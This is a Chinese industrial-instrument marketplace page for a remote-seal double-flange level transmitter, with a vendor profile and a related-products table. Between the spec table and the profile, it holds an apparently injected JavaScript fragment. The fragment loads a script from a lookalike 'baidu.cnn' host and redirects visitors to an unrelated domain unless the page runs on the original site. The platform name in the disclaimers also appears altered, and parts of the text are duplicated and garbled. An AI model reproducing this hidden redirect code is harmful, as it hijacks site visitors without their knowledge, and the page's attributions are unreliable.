| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| QRPCM400-3051远传双法兰液位变送器可避免被测介质直接和变送器的隔离 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 膜片接触,这种测量方法适用于下述几种情况: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 1、被测介质对变送器敏感元件有腐蚀作用 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 2、需要将高温被测介质与变送器隔离 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 3、被测介质中有固体悬浮物或高粘度介质 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 4、被测介质由引压管引同时易固化或结晶 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 5、更换被测介质需严格净化测量头 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 6、测量头必须保持卫生,严禁污染。 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 使用对象:腐蚀性或粘性的液体 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 注 意:真空场合不宜采用远传变送器。 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
●选型表 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com');
上海祈瑞电气科技有限公司是经*批准的一家集研究开发、生产经营为一体的现代化仪表成套科技公司。我们专长于过程测控仪表(温度、流量、物位、压力)的开发以及市场推广,并在华东地区建立了良好的客户关系。为了更好服务中客户,我们通过*代理仪表品牌德国E+H流量计、德国FLEXIM超声波流量计、加拿大SWISA全系列产品、澳大利亚AUSMEK氧化锆分析仪、法国施耐德电气开关及变频系列。
我们*致力于为石油化工、电力、冶金、食品、市政、环保等多个行业提供配套的仪器仪表,并提供优质可靠技术咨询及服务,帮助客户实现自身的价值。我们以高品质、高性价比的产品和服务来满足各类用户的需求,通过实现客户利益较大化来提升产品的价值。
公司使命:坚持从客户利益出发提供Z适合的产品。
经营理念: 诚信、专业、透明 、高效。
祈瑞-品质的保证 -We are QR,We are quality reliable!
祈瑞-掌握品质的力量,开拓美好未来,用科技改变世界!






| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| QRPCM400-3051远传双法兰液位变送器可避免被测介质直接和变送器的隔离 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 膜片接触,这种测量方法适用于下述几种情况: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 1、被测介质对变送器敏感元件有腐蚀作用 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 2、需要将高温被测介质与变送器隔离 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 3、被测介质中有固体悬浮物或高粘度介质 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 4、被测介质由引压管引同时易固化或结晶 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 5、更换被测介质需严格净化测量头 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 6、测量头必须保持卫生,严禁污染。 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 使用对象:腐蚀性或粘性的液体 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 注 意:真空场合不宜采用远传变送器。 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
●选型表 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 产品名称 | 参考价 | 地区 | 公司名称 | 更新时间 | |
|---|---|---|---|---|---|
| 3051DP差压变送器 | 面议 | 淮安市 | 江苏金诺仪表有限公司 | 2026-07-19 | 在线询价 |
| P-30 压力变送器 | 面议 | 西安市 | 西安环测自动化技术有限公司 | 2026-07-16 | 在线询价 |
| 远传压力变送器 | 面议 | 苏州市 | 昆山高新自动化仪表有限公司 | 2026-07-13 | 在线询价 |
| 智能型压力变送器 | 面议 | 上海市 | 上海龙魁工业技术有限责任公司 | 2026-07-05 | 在线询价 |
| 3051型智能液位变送器 | 面议 | 滁州市 | 杰得(安徽)测控技术有限公司 | 2026-07-02 | 在线询价 |
| 单压力变送器 | 面议 | 威海市 | 威海坤科流量仪表股份有限公司 | 2026-06-22 | 在线询价 |
所展示的信息由会员自行提供,内容的真实性、准确性和合法性由发布会员负责,九五至尊网站对此不承担任何责任。九五至尊网站不涉及用户间因交易而产生的法律关系及法律纠纷,纠纷由您自行协商解决
友情提醒 :本网站仅作为用户寻找交易对象,就货物和服务的交易进行协商,以及获取各类与贸易相关的服务信息的平台。为避免产生购买风险,建议您在购买相关产品前务必确认供应商资质及产品质量。过低的价格、夸张的描述、私人银行账户等都有可能是虚假信息,请采购商谨慎对待,谨防欺诈,对于任何付款行为请您慎重抉择!如您遇到欺诈等不诚信行为,请您立即与九五至尊网站联系,如查证属实,九五至尊网站会对该企业商铺做注销处理,但九五至尊网站不对您因此造成的损失承担责任!
相关产品分类更多+
精彩视频更多+
新发产品更多+
*您想获取产品的资料:
个人信息: